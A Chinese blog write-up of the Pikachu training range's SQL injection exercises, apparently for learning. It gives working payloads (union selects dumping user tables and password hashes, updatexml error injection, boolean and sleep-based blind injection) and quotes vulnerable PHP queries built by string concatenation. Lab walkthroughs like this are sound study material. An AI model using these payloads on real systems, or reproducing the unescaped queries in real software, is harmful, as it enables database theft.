pikachu靶场之SQL注入

本文详细介绍了多种类型的SQL注入攻击,包括数字型、字符型、搜索型、xx型、insert/update注入、delete注入、httpheader注入以及两种盲注(布尔盲注和时间盲注)。通过实际操作演示了利用这些注入方式获取数据库信息的过程,并指出源码中的安全漏洞。文章还提及宽字节注入,但未展开说明。
摘要由CSDN通过智能技术生成

1.数字型注入

看题目知道了第一题是数字型注入,下拉框选择,抓个包试试,看来是post,这里我用的是burp。

在这里插入图片描述

方便测试,放到repeater里面。

先试一试出列表1 or 1 --+,出结果了。

在这里插入图片描述

order by试出来了是2,然后是union select看回显。

在这里插入图片描述

然后按流程来,查库,查表,查字段。

select group_concat(schema_name) from information_schema.schemata
select group_concat(table_name) from information_schema.tables where table_schema='pikachu'
select group_concat(column_name) from information_schema.columns where table_name='users'
select group_concat(username) from pikachu.users
select group_concat(password) from pikachu.users

在这里插入图片描述
在这里插入图片描述

发现密码是md5加密的,直接上cmd5查就好啦。

在这里插入图片描述
看看源码,$query="select username,email from member where id=$id";,发现是直接拼上去的。

2.字符型注入

首先试了1',发现报错信息了。然后1' or 1 #,发现出结果了。

在这里插入图片描述

后面和第一个数值型一样了,先order by,然后union select,然后查库、查表、查字段、查值。

这里就不赘述了。

在这里插入图片描述
看源码,$query="select id,email from member where username='$name'";,发现也是直接拼上去,没有做任何过滤。

3.搜索型注入

先试了a',报错了,然后是a' or 1#,出结果了。

然后又和上面一样了,a' union select (select group_concat(column_name) from information_schema.columns where table_name='users'),(select group_concat(username) from pikachu.users),(select group_concat(password) from pikachu.users)#这里不说了。放一张结果图吧。

在这里插入图片描述
看源码,发现是$query="select username,id,email from member where username like '%$name%'";,试一试%%' or 1 #,都可以出结果。

4.xx型注入

先试单引号,发现了报错信息:You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '''')' at line 1,接着试发现')#可以的,然后是') or 1#,成功列出了。
后面的流程一样了,这里不写了。
在这里插入图片描述
看源码,$query="select id,email from member where username=('$name')";,也是没过滤。

5.insert/update注入

看到登录注册了,先试着抓个包。
在这里插入图片描述
看起来可以试一试报错注入。
username=1&password=1&sex=&phonenum=&email=&add=&submit=submit修改为username=1' and updatexml(1,concat(0x7e,database(),0x7e),1) and '&password=1&sex=&phonenum=&email=&add=&submit=submit,成功报出数据库名称。
在这里插入图片描述
看源码,插入语句没有转义,导致注入漏洞。

$getdata = $_POST;
$query = "insert into member(username,pw,sex,phonenum,email,address)
            values('{$getdata['username']}',
                md5('{$getdata['password']}'),
                '{$getdata['sex']}',
                '{$getdata['phonenum']}',
                '{$getdata['email']}',
                '{$getdata['add']}')";

update和注册是一样的,这里不赘述了。

6.delete注入

看到留言板习惯性的写了一个<script>alert("haha")</script>进去,发现没啥卵用哈哈哈,应该是转义了。
写了数据后下面有删除按钮,抓个包试试。
看了包后发现是用id删的,修改信息为GET /pikachu/vul/sqli/sqli_del.php?id=58 or updatexml(1,concat(0x7e,database(),0x7e),1) # HTTP/1.1即可爆出数据库名称。
在这里插入图片描述
看源码,删除语句为:$query="delete from message where id={$_GET['id']}";

7.http header注入

先登录看看,发现user agent暴露出来了,抓包然后修改user agent看一下。
在这里插入图片描述
可以了。
看源码发现头信息没有处理。

//直接获取前端过来的头信息,没人任何处理,留下安全隐患
$remoteipadd=$_SERVER['REMOTE_ADDR'];
$useragent=$_SERVER['HTTP_USER_AGENT'];
$httpaccept=$_SERVER['HTTP_ACCEPT'];
$remoteport=$_SERVER['REMOTE_PORT'];

//这里把http的头信息存到数据库里面去了,但是存进去之前没有进行转义,导致SQL注入漏洞
$query="insert httpinfo(userid,ipaddress,useragent,httpaccept,remoteport) values('$is_login_id','$remoteipadd','$useragent','$httpaccept','$remoteport')";
$result=execute($link, $query);

8.布尔盲注

输入a,找不到用户,输入kobe,可以的,输入kobe',找不到,输入kobe' #,可以的。
然后试kobe' and 1=1#,可以找到,kobe' and 1=2#,找不到。确定了是布尔盲注。

9.时间盲注

试了半天啥也试不出来,那差不多就可以试一下时间盲注,也是一个漫长试的过程,kobe' and if(length(database())=6,sleep(5),1)#,最后试出了这个可以的。

10.宽字节盲注

啊不会写,百度了一番,推荐大家看这个宽字节注入,讲的不错。

终于写完了,当然还有很多需要补充的点,有时间再搞。

  • 1
    点赞
  • 15
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值